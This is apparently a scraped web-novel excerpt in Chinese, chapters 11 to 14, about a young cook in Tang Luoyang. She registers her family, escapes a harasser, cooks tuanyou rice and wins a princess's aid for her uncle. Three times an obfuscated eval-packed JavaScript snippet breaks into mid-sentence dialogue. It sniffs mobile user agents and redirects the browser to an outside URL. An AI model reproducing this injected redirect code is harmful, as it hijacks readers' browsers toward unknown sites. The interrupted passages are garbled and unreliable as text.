她又快速把醒好的面再次揉匀，擀成一张张巴掌大的烧麦皮，尹遥手上功夫熟练的很，每个烧麦皮都是同样的大小，擀得跟纸一样薄。挖一勺方才准备好的馅儿填到中间，再用右手虎口卡住接近三分之一边缘处，左手往下使劲儿将馅儿按实，右手再向上一捏一提，一个带着漂亮荷叶边儿的纸皮烧麦就完成了。 待到一刻钟后烧麦蒸好，尹遥又煎了几个鸡蛋一起端进屋，家里的几个女眷也都起床了，大家便围在正屋吃起了早饭。看大家伙儿都吃得香甜，尹遥暗暗点头，看来昨儿商量出对策后，舅父的事儿有了奔头，家里气氛就没那么低沉了。 她也美滋滋咬了一大口这笋干香菇猪肉烧麦：嗯！猪肉、香菇、笋干都是极鲜美之物，再配上又清香又有嚼劲儿的糯米，别提多满足了！ 又想起清晨跟韦老太之事，尹遥就同大伙儿讲了，把陆娘子跟康陶两个老实人给唬得够呛，沈老太太却忍俊不禁道：“你这刁钻鬼，倒是能治她！” 尹遥笑着吐了吐舌头，撒娇道：“这可是她自己送上门的。” 沈老太太又笑骂道：“这老货，年轻时是个泼才，今儿打鸡明儿骂狗，街坊邻居各个都绕着她走，怎么几十年过去了还一点儿长进都没有……不过你也不用怕她，实在不行就来找阿婆，阿婆给你做主！” 看着腿脚虽不利索，却极有主见的沈老太太，尹瑶重重点了点头：“嗯！” 吃完早饭，康陶站起身要去院里套车，准备前往南市采买，南市巳正才开门，这会儿从家里出发，到了时间正好。他笑道：“放心吧，老太太和三娘列的单子我都带上了，保准儿一个不漏。” 这时陆娘子忽然站了起来，从袖中掏出个用手帕包着的东西，塞给了康陶。 康陶一头雾水地接过，打开一看，竟是个水头极好的玉镯子，他疑惑道：“婶子，你这是做什么……” 11. 被调戏了 陆娘子小声解释道：“婶子昨日出府什么也没带，只平日戴的镯子还在。你若是身上钱不够，便把它卖了换些钱使。” 康陶唬了一跳，赶忙推辞：“出门前东家给我预支了许多路费，如今还剩一些呢，今儿采买肯定够用的。婶子快收回去，待钱上实在吃紧了，再说这个也不迟。” 陆娘子不肯，两个人你推我拒了半天，最后还是沈老太太拍了板：“儿媳先把镯子收回去，康陶若身上钱不够了，也莫要自己扛着，家里一起想办法。” 陆娘子这才讪讪地把镯子收了回去，康陶也答应着出了门。 尹遥牵着尹七娘道：“阿婆，舅母，我们也出门啦！” “去吧，路上仔细着点儿!”沈老太太又补了句，“坊正那边别担心，定能顺顺利利办下来。” “晓得啦！” 尹七娘蹦蹦跳跳地跟尹遥出了门，一脸好奇道：“阿姐，我们是去干嘛呀？” 尹遥摸摸她的小脑袋，笑道：“咱们得去落户口，不然要成黑户啦！” “喔……”尹七娘似懂非懂地点了点头，“那我们快走吧，七娘不要做黑户！” 两人刚迈出院子，就听到隔壁传来一阵吵闹声，尹七娘缩了缩脖子，道：“阿姐，这就是那韦阿婆家吗？好凶哦！” 尹遥也摇了摇头：得，这韦老太可真有精神头儿。 大唐的户籍制度管理极为严格，朝廷每隔三年便会核查一次各地百姓的户籍，百姓出门时还必须要申领过所，供沿路关卡核勘。不仅如此，若是百姓要迁居到其他地方，还得在抵达目的地三日内，去向居住地的坊正报备才行。 坊正住在坊内的东北角，跟康陶家正好是个对角线，尹遥辨认了下方位，便牵着妹妹往那边走了过去。 坊内虽然没有店铺，百姓采买只能去南北市，但却有不少卖早食的街边摊，估计当年阿翁也是在这一带摆摊儿起家的。这时尹七娘忽然指着一个摊贩道：“阿姐，那个看起来好好吃啊！” 那小贩见女童感兴趣，也赶忙卖力地吆喝了起来：“香香脆脆的缒子哟，只要一文钱一颗，路过的客官尝一尝看一看哟！” 只见他摊位上有个油锅，边上还有个架子，上面摆了些炸得金黄金黄的圆形点心，长得很像后代的油炸元宵，看起来颇为诱人。 尹遥正要带着尹七娘过去买，却被尹七娘拽住了手，只见女童小声道：“阿姐，舅舅出了事，咱们是不是得省着点儿花钱了？七娘不要了。” 蹲下来摸了摸自己这懂事妹妹的小脑袋，尹遥跟她平视，笑着道：“小馋猫，别担心钱的事儿。阿姐还会再赚钱的，赚好多好多的钱，想吃什么阿姐都买给你。” “嗯！”尹七娘用力点了下头，姐妹俩走过去买了两颗缒子，让尹七娘拿在手里吃。 “怎么样，好吃吗？” “唔，有点腻，没有阿姐做的好吃……” “那下次阿姐给你做。” “一言为定！” 尹七娘边走边吃，姐妹俩终于到了坊正家的大院。二人进门时，坊正夫妇还在吃早饭，因着嘉庆坊中每日入住离开的人都很多，见了她俩也没太在意，只让在边上等着。 “要落户是吧，把过所和户籍文牒拿过来吧。”坊正终于吃完了饭，慢悠悠道，“你们是租的谁家房子？” 尹遥把东西递了过去，笑道：“是康家小郎君的院子，租契也在里面呢，都签好了字儿的。” “康陶？”坊正是个六十多岁的老头，家里时代住在嘉庆坊，对坊内的居民了如指掌，闻言愣了一下，还皱了皱眉。 坊正的妻子正坐在旁边，则是上下打量了下尹遥，道：“那小子怎么开始往外租房子了，还是租给年轻的小娘子？他也仍旧住在里面吗？这怕是不妥吧。” 尹遥赶忙解释道：“并非只有我们姐妹二人，家中还有长辈在的。” “那么小个院子……”坊正嘀咕着，翻开了尹遥递过来的那一摞文牒。 “老头子等一下！”坊正妻子看到其中一张户籍，一叠声问道，“沈家元氏？这……这不是我那老姐姐吗？可是之前南市沈记食店的沈家？她是你家长辈？” 尹遥心想，好家伙，又是个阿婆的熟人。她笑道：“夫人说得没错，沈家老太太正是我们姐妹的外婆。” “嗨呀，叫什么夫人，你叫我许婆婆便是了！”坊正妻子一下变得十分热情，站起来走到了姐妹俩跟前儿，笑道，“你们是沈家嫂子的外孙呀，那不就是二娘的女儿？一晃儿连她女儿都这么大啦？难怪摸样儿看着这么招人疼，快过来给婆婆看看！” 姐妹二人上前给许老太太施了礼，许老太太又扭头朝着坊正道：“你不记得我沈家嫂子啦？今年春节还给我们送过年货呢！” “记得，怎么不记得，”坊正也走了过来，老眼昏花地凑过来瞧着姐妹俩，“看着好像是跟她家二娘有点儿像呢？” 许老太太十分热情，拉着姐妹俩坐下，忽然又想起什么，皱起眉头道：“不对啊，沈家不是早在章善坊置了大宅子的吗？怎么忽然搬回来了？是出了什么事儿吗？” 尹遥看她与阿婆熟识，也便把母亲离世、舅父牵扯进人命官司、沈家家产被查抄等事儿给简单说了。 许老太太听得十分唏嘘，抹着眼泪道：“哎哟，这叫什么事儿啊！想不到二娘竟走在我们这群老骨头的前面，这大郎怎么还出事儿了呢？”说着她又朝着坊正道：“你赶紧把娃儿们的户籍办好，我得去看看沈家嫂子去。” 在妻子的催促下，坊正十分痛快地把姐妹俩的户籍给落了下来，尹遥忙谢过了，又劝说自家外婆一会儿还得出门办事，改日一定亲自上门拜访云云，这才把许老太太给拦了下来。 “成，那娃儿们慢些走，替我给你们外婆带个好儿！” “晓得啦，多谢许婆婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432633|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 尹遥带着妹妹跟坊正家告了辞，刚往回走了不远，就听到一个油嘴滑舌的男声道：“哟，这哪来这么漂亮的小娘子？” 尹遥一听这话，感觉怎么这么耳熟，便扭头往声音处看去，见一个长得跟猴儿一样的年轻男人蹲在街边，嘴里还叼着根草梗儿，正嬉皮笑脸地盯着她。 这一看就是个闲得慌的街头地痞，尹瑶不欲惹麻烦，低下头牵着尹七娘快步往前走，那男人却跳起来，一个箭步窜到姐妹俩面前，拦路调笑道：“小娘子怎地这么没礼貌，没听见哥哥跟你说话吗？” “阿姐……”尹七娘害怕地小声道，尹遥皱了皱眉，把妹妹护在身后，心里只恨这回手里没拿菜刀。她一边用余光扫着周围，一边不动声色道：“这位郎君对不住，我没听见，你方才说什么？” “我说——你没——听见——”那男人见尹遥低声下气，得意洋洋地拖长了声音道。 “郎君等下，”尹遥终于瞄到路边有一大堆石头，笑着打断他道，“这马路上人来人往的，我听不清楚，咱们去路边说话。” 哟？想不到这小娘子如此上道，男人说了句成，就嬉皮笑脸地跟着尹遥往路边走。 尹遥把男人往石堆那儿引，又悄悄推了妹妹一下，往身后使了个眼色，尹七娘看明白了，点点头转身就往坊正家方向跑去。 “诶，小崽子去哪？给我回来！”男人看到尹七娘跑了，扭头吼道。 尹遥忙趁机捡了块拳头大小的石头，偷偷藏在了身后，又笑说：“你理会个小娃娃做什么，郎君刚要跟我说什么来着？” “小娘子说得对，小崽子碍手碍脚跑了的好，咱们俩好好儿说说话。”男子凑过来，眼见着就要对着尹遥动手动脚。 尹遥暗暗咬牙，捏紧了手里的石头，正准备趁这杂碎不注意，给他脑袋来一下，就听旁边传来一阵急促的脚步声，还有尹七娘焦急的叫声：“你不许欺负我姐姐！” 同时还有个年轻男子大喊道：“韦大，你在做什么！快给我住手！” “许二郎？”那被叫做韦大的泼皮睨了那年轻男子一眼，满不在乎道，“你小子管我做什么？” 年轻男子冲了过来，拦在尹遥和韦大中间，一把抓住韦大的衣领，怒道：“你这泼才，平日里在坊中打鸡骂狗还不够，今日怎么还做起调戏女郎的事儿？走，跟我去见官！” 尹七娘也跑到尹遥身边，紧紧抱住了她，还睁大眼睛紧紧盯着那对峙的两个男子。 见那许二郎气得额头青筋都冒了出来，还非要拉着自己去见官，韦大赶忙举起双手，嬉皮笑脸道：“哎哟，我什么时候调戏女郎了，这小娘子不认得路，我是好心给她指路，你可别冤枉好人！” “你！”许二郎被他这不要脸给惊到了，竟然一下子不知道该说什么。 见许二郎愣住，韦大趁机往下一蹲，像个滑不留手的泥鳅一般，扭头就跑了。 12. 团油饭 一个不注意被韦大跑了，许二郎气不过想追上去，又担心尹遥这边，犹豫了下还是留了下来。 他朝着尹遥关切道：“你没事吧？”正说着话，就见尹遥松了口气，把手里的石头扔到了一边儿，蹲下身查看尹七娘，他瞠目结舌，“尹娘子你……你这是……” “阿姐，我没事儿！你看我厉害不？”尹七娘方才还吓得够呛，这会儿见坏蛋跑了，又笑嘻嘻开始给自己邀功。 尹遥前后左右看了一圈儿，见妹妹没有受伤，这才放下心来，轻点她鼻子嗔道：“厉害，我们七娘最能干了！” 说完她又拍了拍手上的灰尘，站起身来，笑道：“方才多谢许郎君啦！话说你叫我尹娘子，你认识我？” 又想到许二郎的姓氏，她恍然大悟：“哦，你是许婆婆的……？” “对，坊正是我祖父，你叫我许二哥就成。”许二郎挠了挠头，看着尹遥笑颜如花，忽地红了脸，赧道，“方才阿婆让我拿些点心给你们，我才出了门，就见到你家七娘子跑回来……诶？我的点心呢！” 只见他嗷呜一声，转身就跑了出去，一会儿又拎了个摔得破破烂烂的食盒回来了，一脸懊恼道：“唉，我方才太着急，把点心都给扔了……实在是对不住啊尹娘子。” 尹遥噗嗤一声被他逗笑了，打量了下眼前的男子，只见对方与自己年纪相仿，穿着干净整齐，长得一副正直憨厚的样子，又道，“许二哥也别这么客气，叫我三娘就行了。” “诶，三娘，七娘，我送你们回去吧。” 回家路上尹遥跟许二郎又聊了几句，这才知道，方才那泼皮韦大，就是住在康陶家隔壁那韦老太的孙子，整日里无所事事，只知道在街上闲晃。 想起早晨韦老太登门时那副嘴脸，尹遥心道，难怪韦大的做派这般熟悉，可真是老鼠的儿子会打洞啊！看来以后出门还得多加小心才行…… 几人刚走到门口，就迎面撞上了采买回来的康陶。许二郎跟康陶也是老熟人了，当下又把这事儿跟康陶讲了一番。 康陶气得连韦老太也不怕了，跳下车就要去找韦家拼命，被尹遥给拦住了，她低声道：“今儿我并没吃到亏，何况家里下午还有事儿，待把舅父的事情处理好了，再找他们家算账也不迟。” 康陶捏了捏拳头，心知尹遥说得有理，狠狠地瞪了尹家大门一眼，又跟许二郎道了谢。许二郎忙摆手道别客气，又偷偷瞥了尹遥一眼，这才转身告辞离开了。 瞅着许二郎的背影，康陶忽然露出一个揶揄的笑容，对尹遥道：“三娘，你瞧我这兄弟如何？他可还未娶亲。” 尹遥瞪了这乱点鸳鸯谱的家伙一眼，牵着尹七娘就推门进了院子，路过时还“不小心”地踩了康陶一脚。康陶摸了摸自己脑袋，也赶着马车跟了进去。 见几个娃儿都回来了，陆娘子扶着沈老太太迎了出来，几人怕惹长辈担心，便没提方才发生的插曲，尹遥笑道：“阿婆，咱们下午去公主府，是准备带着什么去？我来做。” 陆娘子犹豫道：“这两日三娘操劳了，不然让舅母来做吧。” “你都多少年没下过厨了，还是算了吧。”沈老太太果断拒绝了，又道，“你带着七娘去屋里歇着吧，三娘随我来厨房。” 康陶把采买的食材搬到厨房，沈老太太在尹遥搬来的胡凳上坐下，正色道：“三娘，今儿我要教你做的这道团油饭，是江南的特色美食。它本身烹制并不复杂，只是需要你把握好食材用量和火候，务必要做到跟我说的一模一样才行。” “我晓得了，阿婆。”尹遥点了点头，将袖子仔细挽好。沈老太太又道：“你现在先把河虾、鲫鱼、鹅胸脯、彘后腿、羊前腿这几样挑出来。” 按照老太太所说，尹遥将几样食材取出来放在一旁，把猪后腿和羊前腿快速剔骨，猪肉切成薄片、羊腿则是切成小块，分别放到两个碗里，又把葱和姜洗净切丝，并花椒、米酒一起倒入碗中，再用两个干净的盘子盖在上面，放到一旁去腌制去腥。 做完这些，她又提起菜刀，用刀背将四条活鲫鱼逐个儿拍晕，蹲在地上，把鱼鳞细细刮去、内脏小心清理干净，再把处理好的鱼洗净，放在一个干净的小盆里。接着再用小刀将河虾开背，一一挑去虾线，也放到碗中备用。鹅胸脯则是清洗后切成薄片，放在桌案旁备用。 沈老太太在一旁观察，只见自己这外孙女动作十分麻利，手脚灵活，剔骨、切肉、剖鱼、挑虾，手上的活儿干得那叫一个行云流水，两只手腕翻飞之下，简直让人眼花缭乱，显然是对烹饪之事熟练至极，不过片刻就处理好了这几样食材。 “阿婆，你看这样处理成吗？”抹了把额头的汗，尹遥扭头问道。 沈老太太欣慰地点头，笑道：“三娘这刀工是真不错，跟你阿娘学的吗？” “嗯！都是阿娘教我的。”尹遥脆生生答道，不论是她前世的厨艺，还是原身尹三娘的厨艺，的确都承袭各自的母亲。 “好，接下来你去淘些稻米，把饭蒸上。”沈老太太继续指挥。 尹遥今儿就是个无情的厨子，丝毫不敢创新，完全按照老太太的要求，取出两升稻米，仔细筛掉了残余的稻壳和杂物，淘洗好后又加入两升水，一同放在灶上蒸了起来。 然后她又寻出了康陶新买的蔓菁油，猪油虽然香，但由于动物油烟点低、味道重，却是不适合做这道团油饭，因此今儿选的是植物油。起锅热油，将腌好的羊肉块儿放入翻炒，变色后再加入少许饴糖、酱油调味，羊肉鲜香的味道被激发了出来，她又往锅中倒入开水，盖上盖子开始焖羊肉。 接下来是将猪肉片和处理好的河虾小火煎熟，随着蔓菁油滋滋啦啦的声音，猪肉的香味儿和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444864|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾的鲜甜也溢了出来，尹遥自己都忍不住咽了下口水，笑道：“可真香啊！” 这会儿米饭的蒸汽已经溢出，飘满了尹遥的周围，整个人仿佛站在云雾中一般，低头的侧影竟与自己那女儿年轻时有八九分相似，沈老太太眼眶一热，忍不住落下泪来。 “阿婆，这彘肉和虾里面，是不是只放粗盐就成了？”见这两样已煎的差不多，尹遥抬头笑问道，却看到沈老太太正在擦眼角，她吓了一跳，忙要放下手中筷子走过去，“阿婆，你怎么了，哪里不舒服吗？” 沈老太太忙摆了摆手，道：“阿婆没事儿，就是想起你离世的阿娘了，你跟她真的很像。” 然后她又勉强笑道：“对对，这两样只用放盐就行，要比平日里做菜略淡一些。” 尹瑶见状只好应了一声，留在灶边，抓了一撮盐均匀地撒在猪肉和虾上，心中叹道：阿婆虽然看着坚强，可说到底她这辈子也只有一儿一女，如今女儿已死，若是儿子再丧了命，可不知道能不能挺住呢……无论如何，她都得尽力把沈龄的命保住才行！ 心中这般想着，尹遥手上也丝毫不慢，利索地将这两样盛到盘中，垫着抹布把锅移开，露出下面燃烧着的柴火，她将清理好的两条鲫鱼穿在一根木棍上，架在灶台上用明火炙烤，片刻后烤鱼的香气也飘了出来。 将鱼翻了个面放在那儿继续烤着，她又把另一个灶眼上蒸着的米饭端了下来，重新起锅烧油，大火将鹅胸脯片翻炒变色，再加入刚蒸好的米饭，翻炒片刻，又用勺子把焖好的羊肉带汁儿一起浇入，咕嘟咕嘟煮了起来。 今儿蒸米饭时，水放的比较少，因此蒸出来的饭也是偏硬、粒粒分明的，这会儿跟鹅肉和羊肉一起煮，米饭重新吸饱了羊肉的汤汁儿，变得晶莹透亮，诱人极了！ 在烤好的鲫鱼上撒上盐和少许胡椒粉，尹遥盛了一小碗收好汁儿的汤饭，又夹了几片猪肉片、河虾以及一条鲫鱼盖在饭上，再浇上一小勺儿羊肉汤，撒上少许葱花，小心翼翼端了过去给沈老太太。 “阿婆，你尝尝，是这个味儿吗？” 沈老太太接过碗，端详了片刻这碗油汪汪、金灿灿的团油饭，又拿起勺子挖了一勺送入口中，闭上眼睛细细品尝。 片刻后，她脸上露出了怀念的神情，睁开眼睛笑道：“三娘好手艺，就是这个味儿！” 见沈老太太认可，尹遥终于松了口气，这一比一复刻可比自己研究新菜累多了。 她也接过勺子尝了一小口，这碗饭里面融合了米饭的香味儿、各种肉的鲜香、蔓菁油的清香，口感爽滑酥脆，米饭软糯清爽，各种肉口感味道各不相同、却同样的细腻鲜嫩，实在是美味无比。 只不过，似乎有些淡？ 沈老太太看出了尹遥的疑惑，笑道：“三娘勿忧，要的就是这个咸淡。走，咱们去公主府！” 13. 千金公主 尹遥重新盛了一碗团油饭装到食盒中，康陶把沈老太太扶上马车，三人一同出门往公主府驶去。 神都洛阳横跨洛水南北两岸。洛水北岸与邙山之间、西北角的高地上，坐落着太后、天子所在的宫城，以及各官署衙门所在的皇城。 紧挨着皇城东侧的，则是大唐最大的粮仓——含嘉仓，通过大运河输送来的各地粮食，都可以大量储存在此。也正因有这座含嘉仓，洛阳城自此成了一个从不缺粮的宝地。 含嘉仓再往东，除了北市以外，便是各路达官贵人以及世家大族的宅邸，可谓是风景优雅、环境清幽。 而洛水南岸则是平民百姓的世界，这里有洛阳城最大的市集南市，也有着无数的大小民宅，白日里人声往来喧嚣，充满了烟火气息。 令尹遥没想到的是，千金公主的府邸，居然也在这洛水南岸。 康陶驾着马车驶在宽阔的街道上，车厢内尹遥好奇问起了沈家与千金公主的渊源，沈老太太便将往事娓娓道来。 说起来千金公主乃高祖之女，是当今天子的姑祖母，也是太后的姑姑辈。 她年轻时，曾嫁过两任丈夫，尤其是与第二任丈夫感情甚笃。 当年公主产子后身体虚弱，却又胃口不佳，骇得驸马满洛阳城找厨子，想为妻子寻到能入口的美味佳肴。 那时沈家夫妇刚在南市盘了个小店面，竟也被驸马寻上门来。 尹遥的外公，也就是当年的沈郎君，幼时曾在江南住过一阵，见过当地有一种团油饭，正适合女子生产后滋补，便根据回忆复刻了出来。 没想到呈到公主面前，却意外受到了青睐，公主将一碗饭吃了个干净，后来整个产后调养期，沈家每日都做好一份团油饭，送到千金公主府。 听到这儿尹遥笑道：“难怪今儿阿婆让我特意做淡些，原是因为当年这团油饭就是给产妇滋补的，自然是要少盐清淡才对。” “没错，是这个理儿，阿婆也是想着，要跟当年的味道一模一样才好。” 当然，也是因着这一段缘分，之后每年的公主生日，驸马都会找来沈家操办。再后来，驸马与沈郎君都离世了，公主府倒是沿用了旧例，寿宴仍旧是交给沈记主持。沈龄自然尽心尽力，这些年下来，从不曾出过什么纰漏，可谁知今年竟…… 马车终于到了公主府所在的观德坊，悄悄停在了后门附近，尹遥扶着沈老太太下车走到近前。 朝守门的侍卫施了一礼，沈老太太道：“这位郎君，可否劳烦您，帮我们找一下府上的崔婆婆。” “去去去，什么人敢来公主府找人？”那侍卫一脸傲慢，挥手欲将二人赶走。尹遥赶紧走上前，悄悄递了一枚金币过去。 那侍卫拿在手中愣了一下，这西域金币可不多见，一枚就值五百文，这两个女子出手倒还挺大方，不由声音软了一些：“你等何人，崔婆婆可是公主府的管事，你们找她做什么？” 尹遥陪着笑脸，编了个理由道：“我阿婆娘家姓元，跟崔婆婆是老姐妹了，她家中托我们带了信儿，这才特意登门来寻。” “行，那你们等会儿吧。”见只是家中私事，侍卫放下心来，又掂了掂手里的金币，满意地揣进怀中，撂下一句话转身进府了。 片刻后，一个衣着富贵的老仆妇匆匆走了出来，她神色有些紧张，一见到二人就赶忙拉到个僻静的角落，低声道：“我的老姐姐哎，侍卫一说姓元，我就知道是你，你怎么还敢来公主府啊？” “妹妹，我这也实在是没办法了。”沈老太太拉着老姐妹的手，低声道，“我知道这回公主寿宴上出了大事儿，可我家大郎也确实不知情啊！你打小儿看他长大，知道他一向心善，难道真要为这丢了性命不成？” 崔婆婆也知晓其中原委，叹了口气道：“大郎这孩子，整日就爱捡猫捡狗的，也不晓得查查人家底细。那你今儿来公主府是要……” “我想请妹妹帮帮忙，让我们能够见公主一面，求公主出面替大郎求求情。” “哎哟我的姐姐，你这……我……”千金公主正在气头上，崔婆婆犹豫着不愿去触这个霉头，但经不住沈老太太的再三恳求，她终于下了决心，“老姐姐，看在你我几十年的情分上，我便担下这干系，替你去禀报公主。” 沈老太太感激地道了谢，又给尹遥递了个眼色，尹遥会意，上前一步将食盒呈给了崔婆婆。 “你这该不会是……”崔婆婆接过食盒看了看，叹道，“只是你也知道，公主向来不愿惹麻烦，我只能禀报上去，至于她肯不肯见你，便只能听天由命了。” 说完崔婆婆转身进了公主府，尹瑶陪着沈老太太等候，她低声问道：“阿婆，千金公主是个什么样的人啊，为什么崔婆婆说她不愿惹麻烦？” “若你知晓她的经历，就明白为什么了。”沈老太太勉强笑了笑，道，“千金公主乃是高祖皇帝的女儿，她出生时高祖早已退位，后来更是没两年就驾崩了。公主从小毫无靠山、又无宠爱，在宗室中也是个透明人，一直到出嫁了，才在这城南得到一座公主府。因此她最是明哲保身、不愿意招惹麻烦的。” 尹遥也跟着叹了口气，舅父这事儿牵扯到洛州长史，如此说来，公主还真未必愿意蹚这一趟浑水…… “没关系，咱们尽力而为吧！”见尹遥紧皱着眉头，沈老太太轻轻拍了拍她的手，安慰道。 二人在路边候了足有一个时辰，门口的守卫才走了过来，道：“公主召见，你们跟我来吧。” 公主府的花厅中，已早早点上了暖炉，千金公主正斜倚在暖榻上，桌上摆着那一碗团油饭，崔婆婆则垂手侍立在一旁。 “沈家娘子，多年未见了。”看着座下请安的沈家祖孙，公主不辨喜怒地开了口，“你今日求到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454864|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我身边老仆头上，还呈上这一碗团油饭，可是提醒我不要忘了当年的情分？” “沈家只是小小商户，能得到公主的青睐，是沈家天大的荣幸，岂敢同公主殿下攀情分？”沈老太太深深叩首，又道，“更何况，都是因着驸马对您的爱护之心，才让这团油饭有机会出现在公主面前。” 听到沈老太太提起已故的驸马，千金公主眼中流露出一丝温柔，叹道：“罢了，你们起来吧。” 她又拿起勺子，盛了少许团油饭送入口中，轻轻咀嚼了片刻，脸上浮现出怀念的神色：“是这个味道，想不到有生之年还能吃到，是你做的吗？ 沈老太太回道：“草民这些年腿脚不便，今儿这道饭却是外孙女尹三娘做的。” “小娘子好手艺。”千金公主赞了一句，放下勺子，淡淡道，“说吧，你千方百计拜上门来，是为了做什么？让我替你那儿子求情吗？” 尹遥扶了沈老太太站起身，沈老太太恳切道：“公主殿下，可怜天下父母心，草民一生只有一儿一女，女儿前些时日病故了，如今儿子也卷入这无妄之灾中，还望公主可怜可怜我，能够出面斡旋一番。” 公主冷哼道：“裴继乃洛州长史，且出身河东裴氏，一向眼高于顶。他此番丧子，便拿人胡乱撒气，若非我是公主，他恐怕连我府上侍从都要抓走几个。如今倒让我去招惹他吗？” 沈老太太哀求：“公主深得太后娘娘宠爱，若您愿意出面，必能说动裴长史。而且草民不求其他，只要能保住儿子一命就行。” 千金公主沉吟半晌，依旧不肯松口，只让二人在旁候着，说自己要再考虑考虑。内侍呈上了每日的滋补汤药，公主漫不经心地小口喝着。 “公主殿下。”尹遥忽然试探着开了口，“《黄帝内经》有云：‘毒药攻邪，五谷为养，五果为助，五畜为益，五菜为充，气味合而服之，以补益精气’。民间亦有俗语‘是药三分毒’、‘食补不如药补’之类。您身体康健，并无邪气入侵，如此每日服用汤药，积累了毒素，怕是反而对身体无益。” “哦？”千金公主来了兴致，放下汤药问道，“这位小娘子，那你有什么好的建议？” 安抚地拍了拍一脸担心的沈老太太，尹遥走到厅中央，施了一礼道：“公主与其服用滋补汤药，却不如换成些温养的药膳。如今正值深秋，芪归炖鸡汤可益气养血、胡桃枸杞蒸糕能够滋阴潜阳、百合荸荠雪梨羹亦是润肺养颜，都是不错的选择。” 药膳？千金公主心念一动，想到了宫中那位贵人，权势滔天又爱好养生，或许自己可以…… 看到公主眼睛一亮，尹遥虽不明白为什么，但还是又添了把火，笑道：“若公主有兴趣，草民愿即刻献上十二道药膳食谱，为公主尽绵薄之力。” 千金公主听闻此言心花怒放，抚掌道：“好！你便呈上这十二道药膳食谱！” 14. 生焗排骨煲 公主命人在一侧备好了纸笔，尹遥走过去伏案撰写药膳食谱，虽说她不会毛笔字，但好在原身练过一些，写得还是工工整整的。 “芪归炖鸡汤：黄芪五钱当归一钱半岁母鸡一只……砂锅文火慢炖一个时辰以上……有益气生血补益五脏之效……” “百合荸荠雪梨羹：百合二钱荸荠二钱雪梨一只冰糖二钱……可润肺清火美容养颜……” 这些食谱都存在她脑子里，不过两刻钟便完成了，由崔婆婆拿去呈给公主。 公主接过仔细瞧了瞧，面上露出笑意，又深深看了尹遥一眼，道：“小娘子，有你在，公主府与你们沈家的缘分，必定还能续上。” 尹瑶再拜，笑道：“草民不敢当，多谢公主抬爱。” 崔婆婆送二人出了公主府，沈老太太深深行了一礼，感激道：“妹妹，这次多亏了你，否则我连公主的面都见不上。我知你担了天大的干系，这恩情我来日定结草衔环以报。” 崔婆婆赶紧把她扶起来，笑道：“老姐姐，咱们这么些年的情分，我帮你也是情理之中，干系不干系什么的就不提了。更何况你家这三娘子误打误撞的，竟讨得了公主的欢心，她高兴之下自然也不会再怪我了。” 想了想她又正色道：“只不过裴氏势大，你心里也得有个准备，此事即便是公主出面，也最多是保你家大郎一命，其他的却是……” 沈老太太点了点头：“这个我自然知晓的，能保住大郎一命，便已心满意足了……” 祖孙二人跟崔婆婆告辞上了马车，尹遥其实心里还有些迷糊：“阿婆，你之前不是说千金公主从小毫无靠山、又无宠爱，那她此番答应出面，真的能救下舅舅吗？” 这会儿已得了公主的允诺，眼见着沈龄的事儿有了转机，沈老太太也终于放下提着的一颗心，有精神跟尹遥讲起了八卦。 虽说千金公主年幼失怙，身后没有任何势力背景傍身，但她的性格却十分机敏。前些年靠着讨好皇太后，进献各种祥瑞和补药，从而深得太后宠爱。 如今太后权势滔天，千金公主的地位自然也是水涨船高了。若非如此，仅是一个不受宠的公主，又凭什么出面与裴家斡旋呢？ 好家伙，没料到在这小小的马车里，竟然能听到此等皇室秘辛，尹遥不由暗叹：阿婆，我愿尊称您为东都，哦不，神都第一八卦王！ 尹遥眼珠一转，朝沈老太太道：“孙儿懂了，咱们抱公主大腿，公主抱太后大腿，这就叫——‘一抱还一抱’！” “呸！什么大腿小腿的……”沈老太太佯怒地拍了尹遥一巴掌，笑骂道：“你这泼猴儿，哪学的这些市井俗语！” 尹遥撒娇地滚到老太太怀里，祖孙俩笑成一团。外面赶车的康陶也摇了摇头，笑着挥起马鞭：“驾！回家去喽！” 第二日一早坊门一开，康陶便出去打探消息了，众人留在家中焦急地等待。接近日暮时分，康陶才冲进屋来，叫道：“老太太，婶子，三娘！东家改判了！” “如何？大郎的命保住了吗？”屋内几人全站起来围了过去，急道。 康陶激动道：“保住了！洛州衙门说已查明，东家的确并非同谋，但仍要判容留之罪，因此改判了流刑。” 沈老太太坐回凳子上，喃喃道：“命保住了就好，命保住了就好……” 陆娘子喜极而泣，搂着尹遥哇哇大哭，道：“郎君不用死了！太好了，郎君不用死了！” 尹遥一手搂着陆娘子，一手牵着尹七娘，心里也是百感交集，这几天吊着一颗心东奔西走，这会儿才算安稳下来。 “如今舅父死里逃生，可谓是天大的喜事儿，咱们晚上可得吃顿大餐庆贺一下！” 